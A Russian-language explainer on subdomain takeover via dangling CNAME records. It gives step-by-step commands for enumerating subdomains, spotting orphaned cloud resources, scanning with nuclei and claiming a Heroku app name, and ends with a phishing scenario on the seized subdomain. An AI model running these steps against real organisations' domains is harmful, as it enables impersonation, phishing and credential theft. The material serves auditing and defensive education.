Короткая версия истории простая: маркетинг попросил поднять старую промо-страницу, а вместо неё открылся чужой интернет-магазин — под настоящим доменом компании, с валидным замочком в браузере. Дальше разберём, что технически происходит в такой ситуации, почему это не «редкий баг», а целый класс уязвимостей с собственным именем, и как его эксплуатируют на практике.
Что это за класс уязвимостей
В индустрии это называется subdomain takeover — захват поддомена через висячую (dangling) DNS-запись. Механика типовая:
- Компания заводит поддомен вида
promo.company-example.ruи указывает его черезCNAMEна внешний облачный сервис — Heroku, GitHub Pages, AWS S3/CloudFront, Azure, Netlify, Vercel, Shopify, Fastly, Unbounce и десятки других. - Проект в этом облаке удаляют или сервис отвязывают, но CNAME-запись в DNS-зоне не трогают — она продолжает указывать на имя ресурса, которого больше нет.
- Многие облачные платформы позволяют кому угодно зарегистрировать освободившееся имя ресурса (тот же слаг приложения на Heroku, тот же бакет на S3, тот же репозиторий на GitHub Pages) — без проверки, что человек имеет отношение к исходному домену.
- Как только злоумышленник регистрирует это имя у себя, DNS-запись компании, которая уже годами указывает «в никуда», начинает резолвиться на его контент.
Классифицируется это близко к CWE-706 (Use of Incorrectly-Resolved Name or Reference) — доверие к DNS-записи, которая на самом деле уже не принадлежит тому, кому принадлежала раньше. Формального CVE у такого класса нет, потому что уязвимость не в конкретном продукте, а в разрыве между DNS-зоной клиента и жизненным циклом облачного ресурса.
Почему был валидный замочек
Отдельно стоит объяснить деталь из истории — «домен настоящий, замочек на месте». Многие PaaS/CDN-платформы (Heroku, Netlify, Vercel, GitHub Pages, Cloudflare Pages) автоматически выпускают TLS-сертификат Let's Encrypt для любого кастомного домена, который просто указывает на них через CNAME. Проверка права собственности на домен при этом — минимальная или отсутствует вовсе: платформа видит, что DNS уже смотрит на неё, и это принимается как достаточное подтверждение. Поэтому у захватчика поддомена браузер честно показывает зелёный замочек — сертификат выпущен корректно, просто на чужой для компании контент.
Как это ищется и эксплуатируется
Ниже — типовой путь пентестера или атакующего, от разведки до захвата.
Шаг 1. Инвентаризация поддоменов
$ subfinder -d company-example.ru -silent | tee subs.txt
promo.company-example.ru
old.company-example.ru
test.company-example.ru
crm.company-example.ru
partner.company-example.ru
...
$ amass enum -passive -d company-example.ru >> subs.txt
$ sort -u subs.txt -o subs.txt
На домене компании со стажем в 3-5 лет такой список легко доходит до 40-80 записей: лендинги под акции, тестовые стенды, интеграции с подрядчиками.
Шаг 2. Резолвинг CNAME и поиск «сирот»
$ dnsx -l subs.txt -cname -resp -silent
promo.company-example.ru [CNAME] promo-company.herokuapp.com
old.company-example.ru [CNAME] old-landing.s3-website-us-east-1.amazonaws.com
test.company-example.ru [CNAME] test-co.netlify.app
Дальше — вручную или скриптом проверяем, что реально отдаёт целевой хост:
$ curl -sI https://promo-company.herokuapp.com
HTTP/1.1 404 Not Found
Server: Cowboy
X-Powered-By: heroku
$ curl -s https://promo-company.herokuapp.com | head -5
<html><head><title>No such app</title>
<p>There is no app configured at that hostname.</p>
Ответ «No such app» / «NoSuchBucket» / «There isn't a GitHub Pages site here» — это фингерпринт висячей записи. Список таких сигнатур по десяткам сервисов давно собран в открытых проектах вроде can-i-take-over-xyz, и на нём построены готовые шаблоны сканеров.
Шаг 3. Автоматизация через nuclei
$ nuclei -l subs.txt -t http/takeovers/ -o takeover_results.txt
[subdomain-takeover-heroku] [http] [high] https://promo.company-example.ru
[subdomain-takeover-netlify] [http] [medium] https://test.company-example.ru
За одну команду атакующий (или, в честном сценарии, аудитор) получает список поддоменов, готовых к захвату, с указанием конкретного облачного сервиса.
Шаг 4. Собственно захват
Для Heroku-примера это буквально три команды в бесплатном аккаунте:
$ heroku apps:create promo-company
$ heroku domains:add promo.company-example.ru -a promo-company
Adding promo.company-example.ru to promo-company... done
$ heroku certs:auto:enable -a promo-company
Enabling Automatic Certificate Management... done
Certificate provisioned via Let's Encrypt
DNS-запись компании уже указывает на promo-company.herokuapp.com — атакующему даже не нужно ничего менять в чужой зоне, он просто «встаёт» в уже существующий указатель. Через несколько минут promo.company-example.ru отдаёт его контент с честным сертификатом на имя домена компании.
Что и почему сработало бы дальше
Захваченный поддомен — это не «мусорная страница», а полноценный плацдарм внутри доверенного периметра домена. Дальше сценарий развивается предсказуемо:
- Фишинг с доверенным доменом. Письмо со ссылкой на
promo.company-example.ruне вызывает подозрений ни у сотрудников, ни у почтовых фильтров — домен настоящий, SPF/DKIM самого письма могут быть в порядке, если атакующий шлёт с другого инфраструктурного узла и просто ссылается на захваченный поддомен как на посадочную страницу.
